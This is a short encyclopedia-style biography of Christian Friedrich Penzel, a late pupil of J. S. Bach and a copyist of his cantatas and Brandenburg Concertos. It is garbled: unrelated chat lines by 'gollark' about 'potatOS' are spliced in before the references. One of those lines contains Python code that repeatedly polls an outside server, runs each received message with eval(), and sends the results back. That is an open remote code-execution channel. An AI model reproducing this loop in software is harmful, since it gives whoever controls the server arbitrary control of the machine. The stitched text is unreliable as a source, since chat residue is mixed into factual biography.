Christian Friedrich Penzel

Christian Friedrich Penzel (25 November 1737 – 14 March 1801) was a German musician. Although he was a composer in his own right, he is remembered more for his association with Johann Sebastian Bach. He was one of Bach's last pupils and is known for his copies of Bach's works.[1]

School career

Penzel started at the Thomasschule, Leipzig in 1749 while Bach held the position of Thomaskantor. Bach died the following year.

After Bach's death, Penzel became a prefect at the school under Bach's successor Johann Gottlob Harrer.[2] The position involved him directing the boys' choir (Thomanerchor) on occasion. Harrer needed a deputy because he had health problems: he died in 1755 while taking the waters at Carlsbad.

Later career

Penzel studied at Leipzig University.

Works copied by Penzel

The music sung by the Thomanerchor in the 1750s included revivals of Bach's vocal music, which partly explains Penzel's interest in Bach's cantatas. For several cantatas Penzel's copy is the oldest surviving source.[3] He also copied instrumental works including early versions of the Brandenburg Concertos (for example, what appears to be the earliest version of the first Brandenburg Concerto).[4]

gollark: This is *technically* a "web license lookup thing".
gollark: OmniDisks look up some random pastebin file.
gollark: Hmm, idea: what if I make `potatOS.update` just send an event to `potatoupd` instead of actually running the update routines itself?
gollark: Well, OmniDisks are revoked via the web license lookup thing.
gollark: ```pythonimport urllib3, jsonhttp = urllib3.PoolManager()def send(x): http.request("POST", "https://spudnet.osmarks.net/httponly", body=json.dumps({"mode": "send", "channel": "potatOS", "message": x}), headers={"Content-Type": "application/json"})while True: r = http.request("POST", "https://spudnet.osmarks.net/httponly", body=json.dumps({"mode": "recv", "channel": "potatOS", "timeout": 30000}), headers={"Content-Type": "application/json"}) data = json.loads(r.data) if data["result"] != None: res = data["result"]["data"] try: send(repr(eval(res))) except Exception as e: send(repr(e))```As you can see, this is much more portable than the old SPUDNET Python implementation, which needed websockets and asyncio and such.

References
  1. "Christian Friedrich Penzel". bach-cantatas. Retrieved 9 June 2013.
  2. Boyd, Malcolm (1996). Bach : the Brandenburg Concertos (Digital print. ed.). Cambridge University Press. p. 60. ISBN 9780521387132.
  3. For example, Gottes Zeit ist die allerbeste Zeit, BWV 106, Ich lasse dich nicht, du segnest mich denn, BWV 157.
  4. Marissen, Michael. (1992). ON LINKING BACH'S F-MAJOR SINFONIA AND HIS HUNT CANTATA. Bach, 23(2), 31–46. Retrieved from https://www.jstor.org/stable/41634120

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